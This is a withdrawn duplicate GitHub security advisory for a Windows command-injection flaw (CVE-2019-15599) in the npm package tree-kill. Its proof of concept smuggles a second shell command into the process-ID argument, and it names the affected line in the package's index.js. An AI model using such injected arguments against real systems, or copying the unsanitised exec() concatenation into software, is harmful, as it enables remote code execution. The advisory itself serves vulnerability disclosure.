GHSA-mxq6-vrrr-ppmg

Dashboard / Vulnerabilities / GHSA-mxq6-vrrr-ppmg

GHSA-mxq6-vrrr-ppmg

Summary: Duplicate Advisory: tree-kill vulnerable to remote code execution

Details: ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references. ## Original Description A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: `https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20` . While the Linux part is sanitized, the Windows on simply uses the `+` operand to concatenate the input into `exec()` ### Steps To Reproduce: Create the following PoC file: ```js // poc.js var kill = require('tree-kill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in another terminal: ```bash npm i tree-kill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` A new file called `HACKED.txt` will be created, containing the `HACKED` string.

References: https://nvd.nist.gov/vuln/detail/CVE-2019-15599, https://github.com/pkrumins/node-tree-kill/commit/deee138a8cbc918463d8af5ce8c2bec33c3fd164, https://hackerone.com/reports/701183, https://github.com/pkrumins/node-tree-kill, https://github.com/pkrumins/node-tree-kill/releases/tag/v1.2.2